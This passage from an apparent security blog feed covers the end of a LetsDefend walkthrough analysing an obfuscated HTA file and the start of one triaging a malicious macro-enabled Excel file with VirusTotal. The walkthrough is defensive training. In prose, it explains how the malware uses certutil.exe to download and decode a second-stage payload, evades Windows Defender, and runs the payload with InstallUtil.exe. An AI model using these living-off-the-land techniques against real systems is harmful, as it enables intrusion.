calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/6fa013b4ef6895ad1e32133312bb4258_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-deobfuscated-result-of-sample-instr5&#34;&gt;Question 5: What is the deobfuscated result of sample in str5?&#xA;&lt;/h3&gt;&lt;p&gt;Next up, copy the &lt;code&gt;sample&lt;/code&gt; content on line 50 for &lt;code&gt;str5&lt;/code&gt; and return to &lt;strong&gt;CyberChef.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;342px&#34; data-flex-grow=&#34;142&#34; height=&#34;561&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/6ea4c8fefca50db7b12e69d6105278dd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;330px&#34; data-flex-grow=&#34;137&#34; height=&#34;581&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/7f35ba4fc079784a9dc1d5897ad02049_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After decoding this command, we can determine that the &lt;code&gt;InstallUtil.exe&lt;/code&gt; provided as part of the &lt;strong&gt;Microsoft .NET Framework&lt;/strong&gt; interacts with the newly created binary, &lt;code&gt;bp.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool&#34;  title=&#34;https://learn.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Installutil.exe (Installer Tool) - .NET Framework&lt;/strong&gt;&#xA;_Use Installutil.exe, the Installer Tool. This tool lets you install or uninstall server resources by executing the&amp;hellip;_learn.microsoft.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2526px&#34; data-flex-grow=&#34;1052&#34; height=&#34;76&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/0e4592999ec9902ef87abb2390fee4fd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-deobfuscated-value-of-the---&#34;&gt;Question 6: What is the deobfuscated value of the &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;wobj&amp;quot;&#xA;variable?&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 6&lt;/strong&gt;, find the &lt;code&gt;sample&lt;/code&gt; on line 36.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;341px&#34; data-flex-grow=&#34;142&#34; height=&#34;563&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/c6dc31d76aa79d9740552505bdf32679_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;328px&#34; data-flex-grow=&#34;136&#34; height=&#34;584&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/60bce6be501a1d2f6db83b957ac190ec_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;According to &lt;strong&gt;Microsoft Learn,&lt;/strong&gt; &lt;code&gt;wscript&lt;/code&gt; &amp;quot; # &amp;ldquo;provides an environment in which users can execute scripts in various languages that use various object models to perform tasks,&amp;ldquo;indicating some script usage.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2823px&#34; data-flex-grow=&#34;1176&#34; height=&#34;68&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/df6912c4b67b3dcde1de313e614eddcc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-purpose-of-the-cmd-variable-in-thescript&#34;&gt;Question 7: What is the purpose of the cmd variable in the script?&#xA;&lt;/h3&gt;&lt;p&gt;Now it&amp;rsquo;s time to put together all the pieces of the puzzle we&amp;rsquo;ve found so far. First, locate the &lt;code&gt;cmd&lt;/code&gt; variable on line 54.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;341px&#34; data-flex-grow=&#34;142&#34; height=&#34;563&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/7eb00cbec3690e2db3930b610cebcb10_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We can see that this command is built by combining the strings identified in the previous steps. So, we just need to plug in values for &lt;code&gt;str3&lt;/code&gt;, &lt;code&gt;str2&lt;/code&gt;, &lt;code&gt;str1&lt;/code&gt;, and normalize them to match the required answer format.&lt;/p&gt;&#xA;&lt;p&gt;While there might be a more efficient way to do this, I chose to perform this process manually in &lt;strong&gt;Notepad&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1021px&#34; data-flex-grow=&#34;425&#34; height=&#34;188&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/e5f481e6788d610394c1281bc8cae176_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;By doing this, we can determine that the full command downloads the second stage payload. Based on the comment on line 53, we can infer that the command sets an environment variable to help the script evade detection by Windows Defender. As we discovered earlier, the script uses &lt;code&gt;certutil.exe&lt;/code&gt; to download a file from the specified IP address, port, and path, saving it to &lt;code&gt;C:\Windows\Tasks\file.txt&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;By piecing this all together, we can confirm that the purpose of the &lt;code&gt;cmd&lt;/code&gt; variable is to stealthily download the file, &lt;code&gt;file.txt&lt;/code&gt;, using a living-off-the-land binary, &lt;code&gt;certutil.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2865px&#34; data-flex-grow=&#34;1194&#34; height=&#34;67&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/b7508d3045a7d16d9794540a9f831442_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-what-is-the-second-command-executed-by-the---&#34;&gt;Question 8: What is the second command executed by the &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;ActiveXObject&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ve made it to the last question! All that&amp;rsquo;s left is to look at the &lt;code&gt;cmd2&lt;/code&gt; variable on line 55, which is the second command executed by the &lt;code&gt;ActiveXObject&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;342px&#34; data-flex-grow=&#34;142&#34; height=&#34;560&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/0eb91383fbf700453ae3f83ba236f3dd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This command is more straightforward; it&amp;rsquo;s simply &lt;code&gt;str4&lt;/code&gt;, which we analyzed back in &lt;strong&gt;Question 4&lt;/strong&gt;. The answer for this question should be the same.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2370px&#34; data-flex-grow=&#34;987&#34; height=&#34;81&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/78be9b5723e720d7b6c30dc8451dc4b1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;396px&#34; data-flex-grow=&#34;165&#34; height=&#34;484&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/1e7409519ce69fb37d925f77c9cd33af_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we have it — great job! Using the &lt;strong&gt;Detect-It-Easy&lt;/strong&gt; and &lt;strong&gt;CyberChef&lt;/strong&gt;, we&amp;rsquo;ve successfully identified and decoded the application&amp;rsquo;s strings obfuscated with the &lt;strong&gt;ROT13&lt;/strong&gt; cipher. With this information, we discovered that the script within the HTA file downloaded a second-stage payload by leveraging the living-off-the-land binary, &lt;code&gt;certutil.exe&lt;/code&gt;. After that, this same LOLbin was used to decode the contents, forming a new binary which was executed using &lt;code&gt;InstallUtil.exe&lt;/code&gt;. During the investigation, we turned to &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; and &lt;strong&gt;Microsoft Learn&lt;/strong&gt; to reveal more details about each of these techniques to better understand the adversary&amp;rsquo;s actions on the victim&amp;rsquo;s device. Now that we have scoped the attack and completed our objectives, let&amp;rsquo;s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/obfuscated-hta&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Obfuscated HTA&lt;/strong&gt;&lt;/a&gt; challenge!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, for another engaging and challenging lab scenario. This was a really fun challenge for me to figure out how the obfuscation was performed and then leverage that information to understand the attack story. I chose this one as I&amp;rsquo;ve not had an opportunity to analyze an HTA file in a threat context before, so I wanted to see how that process would look. As always, I found so much value by researching on &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; and &lt;strong&gt;Microsoft Learn&lt;/strong&gt; to fully understand what TTPs we saw — it&amp;rsquo;s always a great practice for the real world. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-obfuscated-hta-challenge-walkthrough/07670987b1c64247f60a1576b9626235_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/obfuscated-hta&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/obfuscated-hta&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wikipedia — HTML Application:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/HTML_Application&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://en.wikipedia.org/wiki/HTML_Application&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Detect-It-Easy:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/horsicq/Detect-It-Easy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/horsicq/Detect-It-Easy&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wikipedia — ROT13:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/ROT13&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://en.wikipedia.org/wiki/ROT13&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Certutil (S0160):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0160/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/software/S0160/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Ingress Tool Transfer (T1105):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1105/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1105/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Deobfuscate/Decode Files or Information (T1140):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1140/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1140/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Certutil:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil#-decode&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil#-decode&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — InstallUtil.exe (Installer tool):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — wscript:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wscript&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wscript&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Remote Working Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/</link>
            <pubDate>Mon, 03 Feb 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Remote Working Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--remote-working-challenge-walkthrough&#34;&gt;LetsDefend — Remote Working Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-suspicious-xlsm-file-with-virustotal&#34;&gt;Investigating a suspicious XLSM file with VirusTotal&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Welcome to my weekly walkthrough!&lt;/strong&gt; If you&amp;rsquo;ve stumbled across this blog while searching for a comprehensive walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/remote-working&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Remote Working&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place.&lt;/p&gt;&#xA;&lt;p&gt;In this scenario, we&amp;rsquo;re provided with a suspicious Excel file, and it&amp;rsquo;s up to us to determine whether it&amp;rsquo;s malicious or not. To do this, we&amp;rsquo;ll collect the file hash and hunt on &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt; to see what we can learn about the sample.&lt;/p&gt;&#xA;&lt;p&gt;This challenge is perfect for beginners and serves as a primer for using &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt; for triage, rather than focusing on static analysis of the malicious file directly. However, it offers great practice opportunities for all skill levels. Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/remote-working&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/remote-working&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Analysis XLS File&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;File link: /root/Desktop/ChallengeFiles/ORDER_SHEET_SPEC.zip&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-date-the-file-was-created-utc-answer-format-yyyy-mm-dd-hhmmss&#34;&gt;Question 1: What is the date the file was created? (UTC) Answer Format: YYYY-MM-DD HH:MM:SS&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s kick off this challenge by extracting the sample file from &lt;code&gt;ORDER_SHEET_SPEC.zip&lt;/code&gt; within the &lt;code&gt;ChallengeFiles&lt;/code&gt; folder.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;475px&#34; data-flex-grow=&#34;198&#34; height=&#34;404&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/90537d3dbe0bbd3b13dc173949b022ae_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Inside, we&amp;rsquo;ll find a &lt;a class=&#34;link&#34; href=&#34;https://support.microsoft.com/en-us/office/file-formats-that-are-supported-in-excel-0943ff2c-6014-4e8d-aaea-b83d51d46247&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;macro-enabled &lt;strong&gt;Excel&lt;/strong&gt; file&lt;/a&gt;, &lt;code&gt;ORDER SHEET &amp;amp; SPEC.xlsm&lt;/code&gt;. While a macro-enabled file doesn&amp;rsquo;t necessarily mean it&amp;rsquo;s malicious, it does raise some suspicions, especially if it was delivered over email like in a phishing campaign. But that&amp;rsquo;s what we&amp;rsquo;re here to figure out!&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll start our analysis with getting an overview of the suspicious file by grabbing its SHA256 file hash. With this unique hash, we can pivot our search to an external threat intelligence service, like &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt;, to save time in our analysis and quickly determine the file&amp;rsquo;s status.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll grab the file hash of the sample directly from a terminal window within our analysis environment by right-clicking in the folder and selecting &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Open in Terminal&amp;quot;&#xA;to launch it.&lt;/p&gt;&#xA;&lt;p&gt;Once in the terminal, we can use the command below to calculate the SHA256 hash of the sample:&lt;/p&gt;&#xA;&lt;p&gt;sha256sum &amp;lsquo;ORDER SHEET &amp;amp; SPEC.xlsm&amp;rsquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2461px&#34; data-flex-grow=&#34;1025&#34; height=&#34;78&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/6ba90d603d3b3c22fb741e94c9782957_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;With the file hash in hand, navigate to &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt; and submit it to see if the file has been previously analyzed. Once the results load, you&amp;rsquo;ll notice that most security vendors have already detected the file as malicious.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813&#34;  title=&#34;https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/strong&gt;&#xA;VirusTotalwww.virustotal.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To find the answer to &lt;strong&gt;Question 1&lt;/strong&gt;, navigate to the &lt;strong&gt;Details&lt;/strong&gt; tab of the submission, and look under &lt;strong&gt;History&lt;/strong&gt; to find the file&amp;rsquo;s creation time.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;484px&#34; data-flex-grow=&#34;202&#34; height=&#34;396&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/83e01988e04686b0fb78ba86e96318ee_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813/details&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813/details&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Real World Tip:&lt;/strong&gt; If you&amp;rsquo;re new to using &lt;strong&gt;VirusTotal&lt;/strong&gt;, it&amp;rsquo;s important to remember that public submissions are made available to the security community. &lt;strong&gt;DO NOT upload anything that contains personal or confidential data.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1979px&#34; data-flex-grow=&#34;824&#34; height=&#34;97&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/da69e4ba43450f70cc270e9057fc5869_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-with-what-name-is-the-file-detected-by-bitdefender-antivirus&#34;&gt;Question 2: With what name is the file detected by Bitdefender antivirus?&#xA;&lt;/h3&gt;&lt;p&gt;Navigate back to the &lt;strong&gt;Detection&lt;/strong&gt; tab of the &lt;strong&gt;VirusTotal&lt;/strong&gt; page. Under the &lt;strong&gt;security vendors&amp;rsquo; analysis&lt;/strong&gt; section, locate the malware threat name reported by &lt;strong&gt;Bitdefender.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;265px&#34; data-flex-grow=&#34;110&#34; height=&#34;722&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; 